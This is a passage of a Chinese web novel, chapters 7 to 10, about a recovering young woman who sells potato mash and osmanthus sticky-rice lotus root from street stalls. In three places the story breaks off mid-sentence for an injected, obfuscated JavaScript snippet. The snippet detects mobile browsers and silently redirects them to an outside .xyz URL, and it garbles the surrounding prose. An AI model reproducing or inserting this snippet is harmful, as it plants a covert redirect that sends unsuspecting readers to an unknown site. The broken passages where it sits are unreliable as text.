《摆摊也要做四休三》 7. 大订单 “那我正好给乐乐蒸个蛋羹。” 虽然奇怪妈为什么会买土豆泥回来,叶静还是麻溜的改了下菜谱。 “多放两个虾仁——” 蛋羹就像是什么关键词,一下就将在房间看绘本的童乐璇给刷新了出来。 “好,给你多放点虾仁。” 谁能拒绝可可爱爱的女儿的撒娇呢,反正叶静是不行。 “吃饭啦。” 叶静把最后一个菜端上饭桌,又将在微波炉里叮好的土豆泥拿了出来,舀了一勺放进嘴巴试了试温度…… !!! “静静,你不吃吗?” 一老一小都落了座,叶静却迟迟没有从厨房出来,刘奶奶叫了两声,才看到儿媳匆匆拉开了厨房门。 “刚刚做饭的时候太饿了,我就先吃了,” 两分钟内干掉一斤多土豆泥的叶静毫不心虚的扯谎,然后把话题转到她想知道的部分。 “那个土豆泥还挺好吃的,是在哪里买的啊?” 叶静状似随意的问道,心里的小人已经急的疯狂尖叫了。 自从她为了减肥把饮食换成了白人餐后,虽然体重一点点下降了,但人也觉得活着没什么意思,充分体会到了生命体征维持食品的含义。 但今天的土豆泥是真的好吃啊! 那句话怎么说来着?我本可以忍受黑暗,除非我从来没有见过光明。 尝过了健康又美味的土豆子,叶静觉得自己再也吃不下自己的清水土豆子了! “我知道我知道!” 小孩很热衷于回答大人的问题,童乐璇毫不犹豫的来了个抢答。 “是小黎姐姐做的!姐姐在星星湖边摆摊。” 童乐璇说完就埋头吃饭,土豆泥已经被吃完了,虾仁可不能再被妈妈抢掉了。 “小黎?” 叶静还有些没反应过来,刘奶奶笑眯眯的帮着孙女把话补全。 “就是我们旁边住着的那个孩子,” 黎秋月刚过二十,刘奶奶已经领了退休金,这么叫也没什么不对。 “也不知道发生了什么,今天中午我看她在那个星星湖旁边摆摊,小姑娘卖的也不贵,这一盒子才八块钱。” 其实刘奶奶觉得真的很贵,但她并不仅针对于黎秋月,而是觉得在外面吃的东西都很贵,几毛钱的菜叶子土豆子,简单做下就敢卖几块钱,她是真的觉得划不来。 她也知道有个人工成本,但脑子就是不愿意加进去。 不过刘奶奶有个好处,她不买也不会故意蛐蛐,更不会舍不得在家里人身上花钱,就像黎秋月卖的土豆泥,她自己是不吃的,但孙女喜欢那就吃。 “那是挺实惠的。” 叶静想想路边摊的价钱,赞同的点点头。 “妈,这土豆泥挺合我胃口的,回头您帮我问问能不能预定。” 他们跟黎秋月是门挨着门的邻居,送饭也就是敲敲门的事。 “行,我瞧着小黎应该挺缺钱的。” 刘奶奶一口答应下来。 “预定?可以是可以,不过……” 人在家中坐,生意天上来,黎秋月对于订单很高兴,但发现是长期供应后就开始为难了。 她这边的小摊食品都是周抛啊。 “怎么了?” 刘奶奶眉头一皱,发现事情并不简单。 “这个土豆泥我只打算再摆两天的。” 她现在最大的任务就是把自己从骷髅养成正常人,多吃多睡少动才是正事,赚钱反倒是次要的了。 见刘奶奶还想说什么,黎秋月索性扯了个最大的旗子出来。 “医院说我现在是美人灯。” 美人灯是个筐,什么都能往里装,得了它的患者做什么都不奇怪,这个理由一出来,刘奶奶再没了劝说的心思。要不是黎秋月深谙推拉之道,险些又被塞了几百块钱。 最后刘奶奶还是下了两天的订单,一共十三份,问就是童乐璇也喜欢吃,还要带一盒给儿子。 这次黎秋月欣然接下。 第三天来的也大多是熟人——同小区的住户,黎秋月为了筹钱挨个上过门。 客人真论起来其实不算多,但胜在有粘性还会向外扩充,一个客人就能带来指数级增长的需求。 一份土豆泥不贵,他们抱着支持一下的想法付了款,尝了一口以后就没有然后了,黎秋月这边准备的土豆泥转眼卖完,听到明天是最后一天摆摊后,黎秋月直接被淹没在大笔的订单中。 客人们的预付款都给的很大方,主要是黎秋月的信息基本是透明的,都住在同一个小区,跑得了和尚跑不了庙。 收了钱的黎秋月回家也没清净下来,叶静听到刘奶奶传达的最后两天的悲惨消息后,又追加了二十份订单,加上绿信里的打款,黎秋月第四天要处理的土豆已经达到了惊人的一百五十多斤。 “我真的不会被累死吗?” 非智能的系统没有回答,它管理的是最低工作标准,为了赚钱自主加班跟它无关。 黎秋月看着破千的余额,却怎么都高兴不起来,她唯二庆幸的是这些人都说在明天晚上前送货上门就行,她可以慢慢做慢慢送,而且她的打蛋器也到了,能够节省不少工作量。 再怎么哀叹,工作还是要做的,黎秋月骑上小电驴就杀去了几公里外的批发市场,准备买一批便宜的土豆回来。 半小时后。 “多少?” 黎秋月又问了一遍,超市才卖1.38! “一块钱一斤。” 老板一点让步的意思都没有,昌南批发的土豆就是这个价钱,除非自己去乡下拉。 “我挑一百五十斤,你给我找个结实的箱子。” 整个市场跑了一圈,黎秋月还是站到了这个摊子面前,老板点头应了声好,拿了个麻袋方便黎秋月挑土豆。 黎秋月蹲下来撅着屁股翻翻捡捡,最后称完是一百五十二斤,黎秋月付了钱,老板就把土豆怼进了纸箱,然后招呼人帮着抬到了黎秋月的小电驴上。 事实证明,当年卖电驴的老板说它载重三百斤不是吹牛,这辆小电驴拉着一百五十多斤的土豆子,拉着暴瘦后穿衣不过百的黎秋月,还拉着二十多斤的肉,二十多斤的菜成功到家,没爆胎也没报废。 “电梯真是人类最伟大的发明!” 从门卫那边借了小推车,走完从单元楼到电梯的最后一段路的黎秋月真诚的称赞道。 看着堆成了小山的土豆子,黎秋月在休息和休息之间纠结了一会儿,最后还是选择先解决一部分订单。 跟她饿了以后身体对进食的反抗会减弱,她的意志能占据上风没有任何关系。 洗土豆,削土豆,煮土豆,做土豆泥,熬料汁…… 几个小时过去,黎秋月成功装满了六十个盒子,她看了下在去批发市场的路上打印出来的需求表,又默默上了绿信,点开【土豆子交流群(12)】。 是的,二十份土豆泥吸引来了十个客人,总共给他下了一百多斤的订单。 至于为什么会多出来一个人……当时有一个没买到土豆泥的小区业主蹭了别人的一口,然后也下了订单。 【白玉玉盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982778|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :现在做了六十分土豆泥,一半肉一半菜,有可以送货上门的吗?】 【困困小鱼:我我我,我这里有人在,十份都送过来!】 【哎呀桑桑:放我家门口就行,有监控不怕。】 【喵少女:你们都有人,只有我刚回来就被派去出差,明天晚上才回来(苦涩)】 【fall:没事,你虽然拿到的比较晚,但是也不热乎啊。】 【&*艺术馆:有些人的嘴,真的跟淬了毒一样(白眼)】 …… 群里吵吵闹闹,土豆泥倒是被飞快的瓜分完毕,黎秋月瞅了眼地址和数量,用铅笔在表格上做了标记,就骑着小电驴去送外卖了。 一家家走完,回来的时候肚子空空荡荡,黎秋月把烧开的水往锅里一倒,放了一把面又打了个蛋下去搅碎,熟了以后直接倒进碗里,舀了一勺土豆泥的肉浇头当调味。 刚出锅的面烫得很,黎秋月洗了个澡出来吃就温度正好,面软蛋嫩肉弹汤鲜,任凭身体如何抗议,黎秋月都把这三口的小碗面吃了个干净。 身体VS精神,黎秋月的本尊意识再次获胜。 “接下来可以试试炒菜。” 黎秋月再次冲身体宣战,她这几天除了喝汤还是喝汤,嘴巴都快淡的尝不出味道了。 不求吃什么浓油酱赤的大鱼大肉,哪怕啃几片菜叶子换换味道都是好的。 周四的黎秋月起的很早,把自己打理清爽以后就开始忙活,快到时间才匆匆跑去摆摊,只是相比起前三天越发像样的摊位,现在简单到根本不像个卖东西的。 一张床上折叠桌上面摆着二十盒打包好的土豆泥,然后就没有然后了,别说现场制作的家伙什,连那个快递盒招牌黎秋月都没带来。 “我还以为自己看错了呢。” 钟桐一边扫码一边调侃黎秋月,这人出摊的时间真是越来越短了。 “昨天单子太多了,象征性的摆摆。” 黎秋月本来是打算在这摆个五分钟就收摊走人的,反正系统那边她已经摸透了,走之前绿信支付宝互相扫一下,把自己充当客人就行。 结果就这么点时间,还被钟桐给找到了。 “这话说的可真招人恨。” 钟桐把玩着一个魔法少女变身器,她将上面水晶拨动一百八十度,类似小翅膀的地方就冒出红蓝相间的火苗。 “你这个不愁吃喝的才让人羡慕呢。” 这么几天下来,黎秋月就没看到相同的打火机。 “我跑路了,有缘再见。” 可能钟桐真的有什么神奇buff在身上,她过来一扫码,后面三三两两的又来了几个客人,黎秋月手上的土豆泥根本没撑多久就卖完了。 想到钟桐是她的第一个客人,黎秋月还专门挥挥手以示道别,钟桐拎着两个一次性饭盒,琢磨着明天她的专用饭盒就到货了,到时候可以自带饭盒来买。 每次都好运的没赶上人潮的打火机女孩,并不知道今天是黎秋月最后一天在这里摆摊。 黎秋月忙活到晚上,才将所有的订单发货完毕,这次她给自己煮了碗正经的肉丝面,还加了两片包菜补充维生素。 身体估计是真的累狠了,除了最开始有轻微的反应以示抗议,后面就什么动静都没有了,黎秋月甚至还能刷了牙再睡。 三天的休息时间,黎秋月揣着三位数的绿信蓝宝跟身体反复斗争,战斗成果很喜人,短短几天的功夫,她已经能吃点花荤了! 周日晚上九点,毫无存在感的系统响起提示音。 【请选择下周的售卖菜品。】 8. 桂花糯米藕 新的任务即将到来,黎秋月没急着翻看菜谱,而是先算了算自己的余额。 很好,还有五百多,可以小小造作一下了。 比如试试这个桂花糯米藕。 选定菜品,黎秋月就被拉进了学习空间,一回生二回熟,再次见到陌生老师后,她淹没在知识海洋中的速度比上次要快得多。 桂花糯米藕说来简单,真的要做的好吃,里面的门道多着呢。 首先是选藕,莲藕分了七孔脆藕和九孔糯藕,七孔更清爽,适合做炒菜,软糯的九孔才适合炖煮,食材从头就选错了的话,那大罗神仙也难救。 至于挑选大小相似体型匀称的藕都是些基本功,老师甚至都懒得说,顶多教几个挑高质量莲藕的小窍门。 然后就是泡糯米削藕皮,切藕头塞糯米插牙签,这里面最困难的就是分辨上品糯米,其他的基本没什么技术含量。 直到开始准备煮莲藕的汤汁。 “不是直接加红糖就行了吗?” 黎秋月看着面前的红曲米,整个人都是懵的。 “揉你的米去!” 老师瞪了黎秋月一眼,声音里很有几分咬牙切齿,在黎秋月努力洗天然色素的时候,老师那边的剁肉声一直没停,脸色狰狞的可怕。 黎秋月以前学过一点唇语,她手上没停,眼角余光悄咪咪看着老师的嘴型,好像说的是…… “加红糖!” “笃!” “加红糖!” “笃!” “我让你加红糖!” “笃笃笃!” 菜刀剁在案板上的声音很有节奏感,听得黎秋月再不敢分神,生怕下一刀剁的就不是肉,而是她的狗头。 她不知道红糖跟老师有什么恩怨,只是默默决定要使出一百二十分的努力学习,尽早出师。 没有拼命努力过,谁都不知道自己有多少潜能。 炖好后的糯米藕带着甜香,要冷却以后才能捞出切片摆盘,最后淋上去的料汁也不是随便调配的,而是要用高压锅里煮藕的汁水调味收汁,主打一个原汤化原食,然后淋一勺桂花蜜才算制作完成。 可能是土豆煮多了,黎秋月在火候和调味上进展飞快,只有食材挑选方面一直过不了关,她总觉得每一种糯米都不错,红曲米洗出来的颜色都很正,桂花糖带着不错的香气……总之看着尝着都差不多。 老师教了又教,最后认定黎秋月孺子不可教,丢给系统用最笨的记忆法慢慢磨去了。 什么是记忆法? 举个例子,黎秋月要找上好的糯米,那系统就会把最好的糯米在空间里具现化出来,让黎秋月通过摸捏尝等种种方式进行记忆。 然后具现化出其他种类的糯米,让黎秋月根据记忆进行分辨,跟最初的糯米越相似,质量就越好。 也就是俗称的“吃惯了好的,就尝不得差的、” 这么一套水磨功夫下来,只要不是味觉彻底失调的,基本都能达到合格线,唯一的缺点就是流程有点漫长,当事人有点痛苦。 【菜品桂花糯米藕合格。】 黎秋月被踢出系统空间的时候还有些不知今夕是何夕,看看周围的环境才反应过来自己算是学成出师,顿时觉得有些手痒,在冰箱里一通翻翻找找,还真摸出半截手腕粗细的藕来。 七孔的。 还不怎么新鲜。 不过黎秋月不嫌弃,反正她打算来个错误大合集,打算看看这道菜最糟糕的成品是什么样子。 家里没有糖桂花也没有红曲米,黎秋月索性直接用红糖代替,觉得颜色不够还扔了几粒红枣进去,主打一个随心所欲。 糯米是没泡够时间的,牙签是没有斜插的,莲藕是没有冷却就拿出来的,最后的蜂蜜是拼夕夕上一块钱买来的试用装,黎秋月看快到期开了就顺手打开淋了上去。 最后的成果嘛……好歹有甜味顶着,但黎秋月除非被枪顶着脑袋,否则绝对不会再做第二次! “系统,抽取时间和地点。” 【任务:请宿主在下周每个工作日的晚上九点,在文珀广场旁边的第三棵树下售卖桂花糯米藕。】 文珀广场在另一个镇子上,是前两年新修建起来的,只有可怜兮兮的几百平米,不过旁边就是一个有电影院的小商场,所以还算热闹。 黎秋月以前去那边看过电影,当时觉得不算远,但现在她要带一堆摆摊的东西……黎秋月默默查起了导航。 【距离当前目的地4.8公里。】 “还行,不远。” 黎秋月松了口气睡过去,早上就骑着小电驴去了菜市场。 “莲藕4.5一公斤,自己挑。” 在菜场转悠了一圈,黎秋月最后还是停在了上次买土豆的摊位上,虽然别家的莲藕都是2.2一斤,但她家的最新鲜。 贵就贵一点吧,回头她也卖贵一点就是了。 黎秋月给自己做好了心理建设,就蹲下来往麻袋里装莲藕去了,她也没细数自己装了多少,瞅着差不多了就让老板上称。 “25.3斤,算你56.9。” 老板把零头抹了,给麻袋封了口放到黎秋月的小电驴上,黎秋月道了声谢,又骑去了卖糯米的摊子。 她瞧上了一款三块一斤的糯米,要了十斤,又找人打听有没有正宗的蜂蜜和糖桂花。 “糖桂花不知道,但土蜂蜜是有卖的,就是一斤要150……” 老板也没说下去,给彼此留了点余地。 “好蜂蜜值这个价。” 黎秋月对蜂蜜的价钱不太了解,但几年前她爸从乡下买蜂蜜都是80一斤,还是给的熟人价,150是贵了点,却也算不上离谱。 “我把他微信给你,就说是陈老板介绍的。” 陈老板见黎秋月这么果断也挺高兴,从他这边介绍过去的客人是有提成的,他老婆管得严,攒点私房钱可不容易。 黎秋月的好友申请发过去两分钟就被通过了,那边也不多废话,直接甩出一个位置分享,黎秋月导了个航发现才1.8公里,索性骑着小电驴就过去了。 “蜂蜜一百五,不还价。” 黑瘦的男人指了指旁边透明的塑料罐子说道。 “能不能打开闻闻?我不尝。” 黎秋月的食材辨认学的艰难用的也艰难,蜂蜜被放在罐子里,她不太能根据色泽确定里面是不是加了东西。 “行。” 男人也爽快,直接伸手拧开了上面的塑料罐子,黎秋月动了动鼻子,顿时眼睛一亮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982779|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这罐我要了!” 这个味道跟她在系统空间里闻到的有八分相似,一般有五分相似的就已经是及格线以上的原料了。 扫码付款,男人还贴心的用了两个袋子把蜂蜜裹得严严实实,黎秋月就这么大包小裹的准备回家,打算放了东西再去超市看看糖桂花。 “嘎吱——” “这个是糖桂花吗?” 黎秋月一个紧急刹车,直接倒回了刚刚的路口,下车问坐着摆摊的小老太太。 “系哟系哟。”(是的是的。) 老太太明显听得懂普通话,却不会说,回答用的是乡音。 “归发同,好恰个哦。”(桂花糖,好吃的。) 说着,老太太还主动打开盖子给黎秋月看,黎秋月悄悄用手把味道扇过来一些,眼睛又亮了。 “帼帼几多钱哦?”(这个多少钱?) 见老太太紧张,黎秋月索性也换了乡音。 老太太伸手比了个十。 “十块?” 黎秋月试探着说道,就看到老太太涨红着脸点头。 “嗯……” 黎秋月有些迟疑。 老太太这边的罐子是统一半斤装的,但在网上六两重的糖桂花一般都在十块钱以下,超市最多也不会超过十五,这么一想也不是特别划算。 但物美价廉的好事哪能次次都被碰上啊,能在经济承受范围能碰上前者,已经是一件足够让人高兴的事。 “我都要看一下,要是没问题,我就都要了。” 老太太这边的摊子很简单,自己坐个小马扎,六个罐子摆成一排放在农家办酒席的长条板凳上,比黎秋月第一天出摊还简陋。 黎秋月当时都有个招牌呢。 一个个罐子被挨个打开,确定了都是合格产品,黎秋月就要扫码付账。 “你要现金?!” 这年头还有人没有二维码的? “行,你在这等等,我去换钱。” 黎秋月一边走一遍叹气,她本来以为用儿女用自己的收款二维码给老人家,然后老人辛苦摆摊的收入全归了孩子的事情只会在营销号里发生,没想到今天居然看到了一个现实案例。 麻烦就麻烦点吧,就当减肥了。 五瓶糖桂花被收入囊中,黎秋月看了会儿扛着板凳颤巍巍的身影,又匆匆踏上回家的路。 白糖好找,红曲难寻。 黎秋月找遍了附近的药店,又被店员报出来的价格给吓了出去。 一百多一斤,用不起,真的用不起! 网上的红曲米十块左右一斤的大把,但黎秋月这边时间不等人,只能上了外卖平台叫了个小时达,让骑手跑腿送货上门。 两斤红曲米58,加配送费十块,贵的黎秋月心里滴血,立马在网购平台上下了个十斤的单,选了顺丰的送货上门。 红曲米还没来,黎秋月就先把糯米泡上,然后抓紧时间处理莲藕,又把家里的另一个高压锅翻出来,准备两个灶一起开火。 晚上八点五十八分,文珀广场旁边的第三棵树下,悄悄支起了一张小桌,旁边有一块小白板,写着几个大字。 【桂花糯米藕,28一斤】 这边糯米藕的普遍价格是18。 9. 给我来半斤 文珀广场这边摆摊的不少,大多卖的也都是炒粉烤串奶茶一类的吃食,大多热气腾腾,少数几个卖冷食的也安了明亮的黄色灯源,营造出一种温暖的氛围。 在这种所有人都显得很用心的场景中,用充电宝插了个小白灯卖货的黎秋月就显得有些格格不入,不过她也不在意,沉迷在小说的世界中无法自拔。 “给我一斤桂花糯米藕。” 或许是新菜品带来了新手期的重置,黎秋月迎来了第一位客人。 “糯米藕28一斤。” 虽然价钱就摆在旁边,但为了避免纠纷,黎秋月还是会习惯性提醒一句。 “这么贵?!” 很好,又一个不看牌子的。 虽然预判到了对方的行动,但黎秋月却在回答上犯了难,总觉得不管怎么回答都不太合适。 【不贵】 【用的都是好材料,成本比较高】 【因为味道好】 【旁边放了价格牌子】 …… 好像怎么回答都有些嘲讽的意思啊。 男生没注意到黎秋月的沉默,回头看了眼朋友,刚好对上女孩偷偷瞧过来的眼神,转头果断下了单。 “给我来半斤。” 嗯,还是受了点价格影响的。 “好的。” 黎秋月把塑料盒放到电子秤上,按了归零才开始夹藕片,到了273才开始淋桂花蜜。 “小本生意,你可以把手机放上去试试。” 黎秋月的电子秤是厨房烘焙用的那种,巴掌大小,数字精确到克,商用的小电子秤五十起步还占地方,她不太舍得,就从家里翻出来这个先顶着。 “这不好吧……” 男生嘴上说着拒绝的话,拆掉手机壳的手机已经放了上去,看到最后的数字后明显松了口气。 “绿信还是蓝宝?” 黎秋月只当没看见,一边打包一边提醒男生结账。 “绿信……老板你手机可真够慢的。” 男生扫了码,好几秒过去都没听到收款提示音。 “绿信到账九元~” “老人机了,体谅一下。” 黎秋月的回答跟姗姗来迟的付款提示音混在一起。 黎秋月没胡说,原主的手机配置高容量大,但里面的东西太过复杂,光是跑外卖的APP就有七八个,兼职平台更是好几页都装不下。 这些也就算了,但原主为了挣钱,就连微信里都加了三十多个薅羊毛群来倒买倒卖,黎秋月退了一个还有一堆公众号,根本点不过来。 除此之外,每天还有不少债主发来的消息,他们也不明着要钱,就是拐着弯说自己生活困难手头紧张,精神内耗极其严重,黎秋月有时候都想不明白原主是怎么撑下来的。 很难说她闭关的时候选择关机没有这方面的原因。 这个手机是她翻箱倒柜找出来的二手机,2+16g的内存,原主把手机卖二手凑钱的时候这个手机被估价5块,原主索性不卖了,等着走街串巷的过来换不锈钢脸盆。 然后放着放着就忘了,直到黎秋月不堪其扰把它找出来,去手机店花了十块钱激活电池,又办了个新手机号,搞了个保号套餐和10元流量包,这个手机便插着充电宝再次上岗了。 16g的手机下不了多少东西,黎秋月也不强求,先把绿信蓝宝两个收钱的下了,加了原主的微信好友把钱转过来,就先凑合着用了。 等这个礼拜赚了钱,她就再去买个配置高点的二手机。 不是不想先用后付或者租手机,只是原主为了凑钱达成了所有平台信用爆破的成就,连拼多多都要先给钱才发货。 黎秋月想到那份长长长的欠款Excel表格,有些忧郁的叹了口气。 *** 男孩拿着糯米藕走到女孩身边,朋友们已经满脸笑意的催促男孩打开包装袋。 “说好了要亲手喂到嘴巴里,不能钻空子哦。” 男孩跟女孩早就友达以上了,却一直没有更进一步,朋友们看的着急,准备用真心话大冒险帮他们捅破这层窗户纸。 比如要求男孩买一份吃的,亲手喂到女孩的嘴巴里。 女孩很喜欢吃糯米藕。 包装袋被打开,牙签颤巍巍的挑起莲藕,莲藕片被拉出晶莹的细丝,蜂蜜和桂花的甜香慢慢飘散出来,明明是吃狗粮的时候,朋友们却莫名觉得肚子有点饿。 藕片被送到嘴边,女孩羞涩的咬了下去,她本来以为自己会沉浸在恋情正式开始的喜悦中,结果却是被嘴里的藕片夺走了全部的注意力。 舌头最先感受到的不是藕片,而是孔洞中的糯米,浸泡后再蒸煮的糯米软糯中带着一点粘牙,却并不扒着牙齿不放,它的粘牙更像是被悄悄勾起的指尖,不勉强也不强迫,不愿意的话轻轻一动就能分开。 然后是带着甜汁的藕片,在口中用力一抿就能化开,却并没有舌头上糊了一层薄膜的黏腻,满口的藕香和桂花香,让女孩几乎舍不得咽下。 “这份糯米藕很贵吧?” 明知道现在的重点应该是他们两个的感情问题,但女孩的舌头就是不听使唤,脸唰一下就红了。 没记错的话,她上次吃味道类似的糯米藕是在外省的酒店,十片188,还是特价菜。 贵是真的贵,好吃也是真好吃,她当时吃的心里滴血,却还想着存了钱再坐火车去吃几回。 “不贵。” 凑近的女孩让男孩有些手足无措,脑子彻底成了一片浆糊,朋友们看着两个番茄贴贴,情不自禁的挂起磕到了的姨母笑。 总之,等到新出炉的小情侣冷静下来的时候,已经是好几分钟以后了。 “28?!” 女孩知道了糯米藕的价格,惊讶睁大了眼睛。 “是有点贵,但你喜欢吃嘛。” 这边的糯米藕价格在15到20之间波动,一般都卖18一斤,黎秋月的28的确有些贵了,在不知道味道的情况下。 “带我去!” 女孩已经没心思跟男友窝在一起嘀嘀咕咕,毕竟悄悄话可以随时说,但这种做慈善的大厨走了可就不一定能找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982780|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 男友还想说什么,女孩果断塞了块糯米藕进他的嘴巴,男孩嘴巴嚼了两下,眨巴眨巴眼睛,果断往黎秋月的摊位跑。 被当成空气的朋友们面面相觑,果断跟上小情侣。 狗粮越吃越饿,还是去看看真正能填饱肚子的东西吧。 “是什么味道啊?” 朋友们的眼神落在糯米藕上,男孩跟女孩对视一眼,有些心痛的将缺了两片的糯米藕给大家分了分,随着藕片入口,现场瞬间安静下来。 “要多少?” 黎秋月看着十几分钟前才来过的男孩,总觉得这一幕有些眼熟。 “你想吃多少?” 男孩温柔的问女孩,熟悉的姿态让黎秋月灵光一闪,再次有了熟悉的饱腹感。 这一男一女,跟之前买她土豆泥的情侣的那股子腻歪劲儿一模一样! “我能自己挑吗?” 黎秋月的糯米藕都是去了牙签切好放到盆里的,要多少就用长筷夹出来称重。 “可以。” 黎秋月没什么不情愿,客人自己动手还省了她的工作量。 “打包盒在那边,选好了上秤就行。” 女孩欢喜的接过筷子,只觉得这片藕也秀气,那个糯米也饱满,怎么挑都挑不过来。 但她的食量就摆在这里,后面被藕片滋味征服的朋友们也在催促,只能匆匆捡了些上秤结账,不过她没忘夸夸,给黎秋月提供了充分的情绪价值。 “老板,你的糯米藕真的好吃,尤其是上面淋的甜水,一点都不腻。” 女孩是真的好这一口,但以前在摊子上买的大多要么寡淡无味,要么甜到发齁,就算甜的勉强过关,多吃几口也觉得腻得慌。 “你舌头还挺灵,这桂花蜜是我专门做的。” 桂花蜜是黎秋月用土蜂蜜和桂花糖配的,学习空间里的老师凶是凶了点,但有东西她是真教。 “老板,你明天还会来这里摆摊吗?” 要是她跟这些糯米藕只有一次的缘分,那她必须能买多少买多少! 不但明天在,后天和大后天也在,至于大后天以后要漂流到哪里,就要看系统那边的随机组合了。 女孩并不知道老板这个字下面的隐藏信息,得了回答就退出队伍,等朋友们买好藕片一起走。 这一波快速扩张的客人过去,黎秋月的藕片已经只剩两斤左右,大多还是头尾没多少孔洞的那种,她打了个哈欠琢磨要不要提前收摊,就看到不远处的门里呼啦啦又出来一群人。 刚刚静下来一些的街道转眼热闹起来,黎秋月竖着耳朵听旁边的摊贩说话,才知道这些人是从刚散场的电影院出来的,属于今天的最后一波大流量,做完这些人的生意就差不多可以收摊回家了。 黎秋月看着旁边多少有几位客人的摊子,再瞧瞧自己面前的冷冷清清,开始思索要不直接收摊回家。 反正本钱早就收回来了,她现在的身子骨脆的跟纸糊的一样,要是熬坏了可不是这三四十块能看好的。 “你这糯米藕怎么只有头和尾啊?” 10. 碰见刘奶奶 “生意好,只有这些还有存货。” 黎秋月拍死胳膊上的一只蚊子,决定回去的时候得买瓶花露水。 “你这都是边角料啊……” 冉棱一边翻一边嘀嘀咕咕,黎秋月也不接话,要知道嫌货才是买货人,要是真的不想买,冉棱早就走了。 “……便宜点,便宜点我就包圆了。” 磨蹭了半天,冉棱终于表露自己的意图。 “最多二十六,你包圆我收摊。” 黎秋月一巴掌拍在自己脸上,蚊子却在最后一刻逃走了,她想不通为什么十月半还会有这么多蚊子,也不愿意继续待在这当免费血包,冉棱一说她就降了价,准备不管做不做得成这笔生意都收摊。 “成交!” 冉棱看着摊主跟个弹跳豆一样到处打蚊子,也知道不可能再讨价还价,虽然还是觉得贵了些,但今天才拿了一千块钱的补贴,她决定奖励自己吃点好的。 剩下的藕片称出来的重量是一斤八两多一点,黎秋月把零头抹了,让冉棱直接扫46,桂花蜜是舍不得多给的,原汤熬出来的甜汁在问过冉棱后,索性连着藕片一起给了她。 黎秋月解决最后一点货物,直接从旁边推出来自己的小电驴,桌子一收盆筷一放,就开着车前灯跑路了,全程不超过两分钟。 “小黎,你回来啦。” 黎秋月开门的时候恰巧碰见从电梯口上来的李奶奶,老太太手上的袋子里还有两个花花绿绿的扇子,明显刚跳完广场舞,只是这个语气…… “嗯,刚回来。” 黎秋月模棱两可的回答道,等着刘奶奶继续说下去。 “你这几天去哪了啊,你家门铃我找半天没找到,拍你家门没动静,发消息不回,打电话也打不通,有几个想订土豆泥的客人都找到我这里来了,硬是联系不上你。” 刘奶奶这话一出,黎秋月就知道她是真的觉得自己这几天都没在家,索性也不辩驳,只是在心里提醒自己下次闭关要在门上贴一张纸条。 她家里的隔音效果做的很好,三层门一关,里面爆炸外面也跟听到放屁声差不多,闭关的时候为了防止分心,手机也关机了,刘奶奶要是真的能通过电子产品联系到她,那才是真的可怕。 至于门铃……在经历过几次被催债人三更半夜狂按门铃后,黎秋月直接把门铃收到家里去了。 “我去治病了。” 黎秋月做出一幅精疲力尽的样子说道,刘奶奶多聪明的人啊,一听就猜到黎秋月是治什么病,顿时有些心疼。 “那边怎么说?” 刘奶奶连呼吸声都放轻了。 “就那样。” 黎秋月说的越是含糊,刘奶奶脑补就越多,看着黎秋月的眼神也越发温柔。 “对了,刘奶奶,土豆泥的单子我就不接了,我不想做。” 土豆泥的事情还有续篇黎秋月是没想到的,但有她也不打算再做了,一个糯米藕就能把她累得够呛,两个都做她得嘎在灶台上。 拒绝的话说的有些直白,但美人灯本就讲究一个随心所欲,刘奶奶根本没多问就答应下来。 “我最近在做桂花糯米藕,味道也还成,明天给您送一份,要是有想要定的就直接找您……算了,等我想想怎么办吧。” 黎秋月本来打算直接找刘奶奶帮忙,但有丰厚的退休金的老人家有满当当的老年生活,她也不好打扰,索性先拖一拖,看能不能找一个两全其美的解决方式。 话说她记得那种绿信下单小程序好像几百块钱就能做,回头去找找有没有合适的。 黎秋月一边琢磨一边觉得钱真是不经花,完全没注意到有哪里不对劲,直到躺在床上才突然弹了起来。 她忘记把摆摊的东西带上来了! 黎秋月跟着晨光醒来,匆匆洗漱完就踩着小电驴去了批发市场,带着放了三十多斤新鲜莲藕的麻袋出来,又去黑瘦男人那边买了两斤土蜂蜜。 糯米泡上洗莲藕,正给莲藕掰段呢,就听到没关的门口有人在叫,拎着猜到出去一看才发现是顺风快递员,因为打不通她设定所有非官方来电拒接的电话,发消息也没人回应,只能找上门签收。 黎秋月不好意思的连连道歉,签收以后给小姐姐打赏了十块钱,然后将门一关,继续给莲藕切段削皮。 忙忙碌碌几个小时,所有的莲藕总算处理完毕,黎秋月拿了一个切好的糯米藕放进盒子,淋上料汁后按响了隔壁的门铃。 “谁啊。” 李奶奶的声音很快传来,不一会儿门就被打开了,但黎秋月没看到人。 他们换了新的自动门? “小黎姐姐好。” 哦,原来是童乐璇这个小萝卜头。 